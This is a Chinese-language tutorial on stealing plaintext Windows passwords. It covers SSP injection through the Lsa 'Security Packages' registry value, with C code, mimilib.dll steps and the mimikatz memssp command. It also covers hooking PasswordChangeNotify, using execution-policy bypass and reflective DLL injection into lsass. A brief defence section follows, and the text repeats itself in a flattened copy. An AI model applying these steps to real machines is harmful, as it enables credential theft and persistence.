关于抓取明文密码的探究
字数 2174 2025-08-29 08:30:36

Windows明文密码抓取技术探究与实战指南

前言

自Windows Server 2012起,微软更改了安全策略,默认情况下无法直接抓取明文密码。本文将深入探讨两种绕过此限制的技术:SSP(安全支持提供程序)注入和PasswordChangeNotify钩子技术。

基础知识

SSP与SSPI

SSP (Security Support Provider)

  • Windows操作系统安全机制的提供者
  • 实质上是DLL文件
  • 主要用于Windows身份认证功能,包括:
    • NTLM
    • Kerberos
    • Negotiate
    • Secure Channel (Schannel)
    • Digest
    • Credential (CredSSP)

SSPI (Security Support Provider Interface)

  • Windows执行认证操作时使用的API接口
  • 本质上是SSP的API接口

LSA (Local Security Authority)

  • 包含lsass.exe和winlogon.exe进程
  • 负责运行Windows系统安全策略
  • SSP在Windows启动后会被加载到lsass.exe进程中

SSP注入技术

技术原理

SSP注入基于两种思路:

  1. 删除任意SSP DLL以便与lsass进程交互
  2. 伪造SSP DLL来提取用户登录时的明文密码

实现方法

方法一:注册表修改

  1. 目标注册表项

    HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages
    
  2. 实现代码(关键API):

    • RegOpenKeyW
    • RegSetValueExW
  3. 示例代码

DWORD InjectSSP(LPWSTR filepath) {
    HKEY hKey;
    LPCWSTR KeyName;
    LPCWSTR ValueName;
    DWORD dwDisposition;
    
    KeyName = L"SYSTEM\\CurrentControlSet\\Control\\Lsa";
    if(ERROR_SUCCESS != ::RegOpenKeyW(HKEY_LOCAL_MACHINE, KeyName, &hKey)) {
        printf("[!] The key is not found,the registry entry creation operation is performed\n\n");
        if(ERROR_SUCCESS != ::RegCreateKeyW(HKEY_LOCAL_MACHINE, KeyName, &hKey)) {
            printf("[!] Create regedit failed, error is:%d\n\n", GetLastError());
            return FALSE;
        } else {
            printf("[*] Create regedit successfully!\n\n");
        }
    } else {
        printf("[*] Find the key successfully!\n\n");
        if(ERROR_SUCCESS != ::RegSetValueExW(hKey, L"Security Packages", 0, REG_MULTI_SZ, (BYTE*)filepath, (::lstrlenW(filepath)+::lstrlenW(filepath)))) {
            printf("[!] Create key-value failed, error is:%d\n\n", GetLastError());
            return FALSE;
        } else {
            printf("[*] Create key-value successfully!\n\n");
        }
    }
}

实战步骤

  1. 将mimilib.dll放置到C:\Windows\System32目录下
  2. 修改注册表值为mimilib.dll
  3. 用户重新登录后,会在C:\Windows\System32\kiwissp.log中记录凭据

注意

  • 需要管理员权限
  • 重启后仍然有效
  • 清除时需要删除注册表项和DLL文件

方法二:mimikatz内存注入

使用命令:

mimikatz # misc::memssp

特点

  • 不需要修改注册表或放置DLL
  • 重启后失效
  • 记录文件路径:C:\Windows\System32\mimilsa.log

Hook PasswordChangeNotify技术

技术原理

密码修改流程:

  1. 用户输入新密码
  2. LSA调用PasswordFilter检查密码复杂性
  3. 如果符合要求,LSA调用PasswordChangeNotify同步密码
  4. 此过程中密码以明文形式传输

关键点

  • PasswordChangeNotify函数存在于rassfm.dll
  • rassfm.dll是Remote Access Subauthentication DLL
  • 仅存在于Server系统(XP、Win7、Win8等不存在)

实现方法

通过Inline Hook方式:

  1. 使用jmp指令跳转到自定义处理函数
  2. 读取密码参数
  3. 还原到原地址继续传参

关键代码分析

  1. 创建vector容器,修改硬编码指向PasswordChangeNotifyHook函数
  2. 保留寄存器值(rbx、rbp、rsi)
  3. 写入字节码并还原被覆盖指令
  4. 跳转回原函数
  5. 密码记录C:\windows\temp\passwords.txt

注入方法

由于普通注入方式无法注入系统进程,需使用Session 0注入:

  • 使用ZwCreateThread内核函数
  • 将DLL注入lsass.exe进程

反射加载方法(推荐)

使用PowerShell反射加载:

  1. 更改执行策略:
    Set-ExecutionPolicy bypass
    
  2. 导入并执行脚本:
    Import-Module .\Invoke-ReflectivePEInjection.ps1
    Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll -procname lsass
    

效果

  • 修改密码后可在C:\windows\temp\passwords.txt中获取明文密码

技术对比

方法 持久性 隐蔽性 复杂度 适用系统
SSP注册表修改 高(重启有效) 中(需修改注册表) 所有支持SSP的Windows
mimikatz内存注入 低(重启失效) 所有支持SSP的Windows
PasswordChangeNotify Hook 中(需维持注入) 仅Server系统

防御措施

  1. 监控注册表修改

    • 特别关注HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages
  2. 检测异常DLL

    • 检查System32目录下可疑DLL
    • 监控lsass.exe加载的DLL
  3. 限制权限

    • 严格控制本地管理员权限
    • 实施最小权限原则
  4. 日志监控

    • 监控密码修改事件
    • 检查异常进程注入行为
  5. 使用LSA保护

    • 启用Credential Guard(Windows 10+和Server 2016+)

总结

本文详细分析了两种Windows明文密码抓取技术:SSP注入和PasswordChangeNotify钩子。SSP注入技术通过修改注册表或内存注入实现,而PasswordChangeNotify钩子则利用密码修改过程中的明文传输特性。防御方应重点关注相关注册表项、系统目录和进程注入行为,以有效防范此类攻击。

Windows明文密码抓取技术探究与实战指南 前言 自Windows Server 2012起,微软更改了安全策略,默认情况下无法直接抓取明文密码。本文将深入探讨两种绕过此限制的技术:SSP(安全支持提供程序)注入和PasswordChangeNotify钩子技术。 基础知识 SSP与SSPI SSP (Security Support Provider) : Windows操作系统安全机制的提供者 实质上是DLL文件 主要用于Windows身份认证功能,包括: NTLM Kerberos Negotiate Secure Channel (Schannel) Digest Credential (CredSSP) SSPI (Security Support Provider Interface) : Windows执行认证操作时使用的API接口 本质上是SSP的API接口 LSA (Local Security Authority) 包含lsass.exe和winlogon.exe进程 负责运行Windows系统安全策略 SSP在Windows启动后会被加载到lsass.exe进程中 SSP注入技术 技术原理 SSP注入基于两种思路: 删除任意SSP DLL以便与lsass进程交互 伪造SSP DLL来提取用户登录时的明文密码 实现方法 方法一:注册表修改 目标注册表项 : 实现代码 (关键API): RegOpenKeyW RegSetValueExW 示例代码 : 实战步骤 将mimilib.dll放置到 C:\Windows\System32 目录下 修改注册表值为 mimilib.dll 用户重新登录后,会在 C:\Windows\System32\kiwissp.log 中记录凭据 注意 : 需要管理员权限 重启后仍然有效 清除时需要删除注册表项和DLL文件 方法二:mimikatz内存注入 使用命令: 特点 : 不需要修改注册表或放置DLL 重启后失效 记录文件路径: C:\Windows\System32\mimilsa.log Hook PasswordChangeNotify技术 技术原理 密码修改流程: 用户输入新密码 LSA调用 PasswordFilter 检查密码复杂性 如果符合要求,LSA调用 PasswordChangeNotify 同步密码 此过程中密码以明文形式传输 关键点 : PasswordChangeNotify 函数存在于rassfm.dll rassfm.dll是Remote Access Subauthentication DLL 仅存在于Server系统(XP、Win7、Win8等不存在) 实现方法 通过Inline Hook方式: 使用jmp指令跳转到自定义处理函数 读取密码参数 还原到原地址继续传参 关键代码分析 创建vector容器 ,修改硬编码指向 PasswordChangeNotifyHook 函数 保留寄存器值 (rbx、rbp、rsi) 写入字节码 并还原被覆盖指令 跳转回原函数 密码记录 到 C:\windows\temp\passwords.txt 注入方法 由于普通注入方式无法注入系统进程,需使用Session 0注入: 使用 ZwCreateThread 内核函数 将DLL注入lsass.exe进程 反射加载方法(推荐) 使用PowerShell反射加载: 更改执行策略: 导入并执行脚本: 效果 : 修改密码后可在 C:\windows\temp\passwords.txt 中获取明文密码 技术对比 | 方法 | 持久性 | 隐蔽性 | 复杂度 | 适用系统 | |------|--------|--------|--------|----------| | SSP注册表修改 | 高(重启有效) | 中(需修改注册表) | 中 | 所有支持SSP的Windows | | mimikatz内存注入 | 低(重启失效) | 高 | 低 | 所有支持SSP的Windows | | PasswordChangeNotify Hook | 中(需维持注入) | 高 | 高 | 仅Server系统 | 防御措施 监控注册表修改 : 特别关注 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages 检测异常DLL : 检查System32目录下可疑DLL 监控lsass.exe加载的DLL 限制权限 : 严格控制本地管理员权限 实施最小权限原则 日志监控 : 监控密码修改事件 检查异常进程注入行为 使用LSA保护 : 启用Credential Guard(Windows 10+和Server 2016+) 总结 本文详细分析了两种Windows明文密码抓取技术:SSP注入和PasswordChangeNotify钩子。SSP注入技术通过修改注册表或内存注入实现,而PasswordChangeNotify钩子则利用密码修改过程中的明文传输特性。防御方应重点关注相关注册表项、系统目录和进程注入行为,以有效防范此类攻击。